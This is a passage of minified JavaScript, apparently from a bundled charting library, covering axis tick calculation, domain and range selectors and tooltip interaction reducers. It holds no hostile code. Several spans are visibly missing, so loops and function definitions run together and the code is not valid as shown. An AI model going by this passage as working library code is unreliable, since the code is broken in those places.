t>n&&([r,i]=[n,t]),[r,i]},$4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=I4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},hI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(I4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=$4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?B4(t,n,r,i,s+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},xI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=R4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return hI(l,i,s);var{step:d,tickMin:f,tickMax:p}=B4(l,c,o,s,0),h=D4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},vI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=R4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=$4(new Te(l).sub(o).div(c-1),s,0),d=[...D4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},gI=e=>e.rootProps.barCategoryGap,xl=e=>e.rootProps.stackOffset,F4=e=>e.rootProps.reverseStackOrder,E0=e=>e.options.chartName,_0=e=>e.rootProps.syncId,W4=e=>e.rootProps.syncMethod,A0=e=>e.options.eventEmitter,yI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},rf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function U4(e,t,n){if(n!=="auto")return n;if(e!=null)return vr(e,t)?"category":"number"}function bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},O0=I([NI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"angleAxis",wb.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},wb),{},{type:r})}),kI=(e,t)=>e.polarAxis.radiusAxis[t],T0=I([kI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"radiusAxis",jb.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},jb),{},{type:r})}),af=e=>e.polarOptions,M0=I([Hr,Kr,kt],Wk),V4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),H4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),zI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},K4=I([af],zI);I([O0,K4],rf);var G4=I([M0,V4,H4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});I([T0,G4],rf);var Y4=I([De,af,V4,H4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,vl=(e,t,n)=>n;function L0(e){return e==null?void 0:e.id}function q4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=L0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function I0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var sf=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function of(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function SI(e,t){if(e.length===t.length){for(var n=0;n{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},zs=e=>e.tooltip.settings.axisId;function CI(e){if(e in io)return io[e]();var t="scale".concat(sl(e));if(t in io)return io[t]()}function Nb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function kb(e,t,n){if(typeof e=="function")return Nb(e.copy().domain(t).range(n));if(e!=null){var r=CI(e);if(r!=null)return r.domain(t).range(n),Nb(r)}}var X4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;ir)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function zb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Du(e){for(var t=1;te.cartesianAxis.xAxis[t],qr=(e,t)=>{var n=AI(e,t);return n??Z4},Q4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:gh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:cl},OI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=OI(e,t);return n??Q4},TI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},D0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??TI},it=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return D0(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},MI=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},Ss=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},J4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function R0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var e3=e=>e.graphicalItems.cartesianItems,LI=I([Je,vl],R0),$0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),gl=I([e3,it,LI],$0,{memoizeOptions:{resultEqualityCheck:of}}),t3=I([gl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(I0)),n3=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),II=I([gl],n3),B0=e=>e.map(t=>t.data).filter(Boolean).flat(1),DI=I([gl],B0,{memoizeOptions:{resultEqualityCheck:of}}),F0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},W0=I([DI,E4],F0),U0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),lf=I([W0,it,gl],U0);function r3(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function zc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function Sb(e){if(Array.isArray(e)){var t=[zc(e[0]),zc(e[1])];return Br(t)?t:void 0}var n=zc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(zc).filter(or)}function RI(e,t,n){return!n||typeof t!="number"||mr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=zs(e);return Ss(e,t,n)},yl=I([yt],e=>e==null?void 0:e.dataKey),$I=I([t3,E4,yt],q4),i3=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(L0);return[l,{stackedData:NT(e,d,n),graphicalItems:u}]}))},a3=I([$I,t3,xl,F4],i3),s3=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=CT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},BI=I([it],e=>e.allowDataOverflow),V0=e=>{var t;if(e==null||!("domain"in e))return gh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:gh},H0=I([it],V0),K0=I([H0,BI],_4),FI=I([a3,Yr,Je,K0],s3,{memoizeOptions:{resultEqualityCheck:sf}}),cf=e=>e.errorBars,WI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>r3(n,r)),Ru=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>r3(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=RI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||xo)&&(o=g)}var y=Sb(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=Sb(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},UI=I([W0,it,II,cf,Je],G0,{memoizeOptions:{resultEqualityCheck:sf}});function VI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var HI=(e,t,n)=>{var r=e.map(VI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&sN(r))?qk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},o3=e=>e.referenceElements.dots,Cs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),KI=I([o3,Je,vl],Cs),l3=e=>e.referenceElements.areas,GI=I([l3,Je,vl],Cs),c3=e=>e.referenceElements.lines,YI=I([c3,Je,vl],Cs),u3=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},qI=I(KI,Je,u3),d3=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=I([GI,Je],d3);function ZI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function QI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var f3=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?ZI(r):QI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},JI=I([YI,Je],f3),eD=I(qI,JI,XI,(e,t,n)=>Ru(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Ru(r,s,i):Ru(s,i);return dI(t,u,e.allowDataOverflow)},tD=I([it,H0,K0,FI,UI,eD,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:sf}}),nD=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=vr(t,s);if(u&&l==null){var d;return qk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?HI(r,e,u):i==="expand"?nD:o}},X0=I([it,De,W0,lf,xl,Je,tD],q0);function rD(e){return e in io}var m3=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(sl(r));return rD(s)?s:"point"}}},Ti=I([it,J4,E0],m3);function Z0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?kb(e.scale,n,r):kb(t,n,r)}var Q0=(e,t,n)=>{var r=V0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return xI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return vI(e,t.tickCount,t.allowDecimals)}},J0=I([X0,Ss,Ti],Q0),ev=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},iD=I([it,X0,J0,Je],ev),aD=I(lf,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),sD=(e,t,n)=>{var r=qr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"xAxis",t,n,r.padding)},oD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"yAxis",t,n,r.padding)},lD=I(qr,sD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),cD=I(Xr,oD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),uD=I([kt,lD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),dD=I([kt,De,cD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),bl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return uD(e,n,r);case"yAxis":return dD(e,n,r);case"zAxis":return(i=D0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return K4(e);case"radiusAxis":return G4(e,n);default:return}},h3=I([it,bl],rf),fD=I([Ti,iD],X4),uf=I([it,Ti,fD,h3],Z0);I([gl,cf,Je],WI);function x3(e,t){return e.idt.id?1:0}var df=(e,t)=>t,ff=(e,t,n)=>n,mD=I($d,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),pD=I(Bd,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),v3=(e,t)=>({width:e.width,height:t.height}),hD=(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}};I(kt,qr,v3);var xD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},vD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},gD=I(Kr,kt,mD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=v3(t,l);o==null&&(o=xD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),yD=I(Hr,kt,pD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=hD(t,l);o==null&&(o=vD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),bD=(e,t)=>{var n=qr(e,t);if(n!=null)return gD(e,n.orientation,n.mirror)};I([kt,qr,bD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var wD=(e,t)=>{var n=Xr(e,t);if(n!=null)return yD(e,n.orientation,n.mirror)};I([kt,Xr,wD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});I(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}});var g3=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=vr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&sN(c))return c}},tv=I([De,lf,it,Je],g3),y3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=vr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},nv=I([De,lf,Ss,Je],y3);I([De,MI,Ti,uf,tv,nv,bl,J0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=vr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var jD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=vr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?qt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(or):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(or)}};I([De,Ss,Ti,uf,J0,bl,tv,nv,Je],jD);var ND=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=vr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?qt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(or)}},b3=I([De,Ss,uf,bl,tv,nv,Je],ND),w3=I(it,uf,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})}),kD=I([it,Ti,X0,h3],Z0);I((e,t,n)=>D0(e,n),kD,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})});var zD=I([De,$d,Bd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),j3=e=>e.options.defaultTooltipEventType,N3=e=>e.options.validateTooltipEventTypes;function k3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function rv(e,t){var n=j3(e),r=N3(e);return k3(t,n,r)}function SD(e){return je(t=>rv(t,e))}var z3=(e,t)=>{var n,r=Number(t);if(!(mr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},CD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},PD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},S3=nn({name:"tooltip",initialState:PD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=Yn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:ED,replaceTooltipEntrySettings:_D,removeTooltipEntrySettings:AD,setTooltipSettingsState:OD,setActiveMouseOverItemIndex:C3,mouseLeaveItem:TD,mouseLeaveChart:P3,setActiveClickItemIndex:MD,setMouseOverAxisIndex:E3,setMouseClickAxisIndex:LD,setSyncInteraction:yh,setKeyboardInteraction:bh}=S3.actions,ID=S3.reducer;function Cb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ec(e){for(var t=1;t{if(t==null)return si;var i=BD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(FD(i)){if(s)return ec(ec({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ec(ec({},si),{},{coordinate:i.coordinate})};function WD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function UD(e,t){var n=WD(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function VD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:UD(r,n)}var iv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||VD(u,n,r)?String(c):null},A3=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},O3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},T3=e=>e.options.tooltipPayloadSearcher,Ps=e=>e.tooltip;function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return 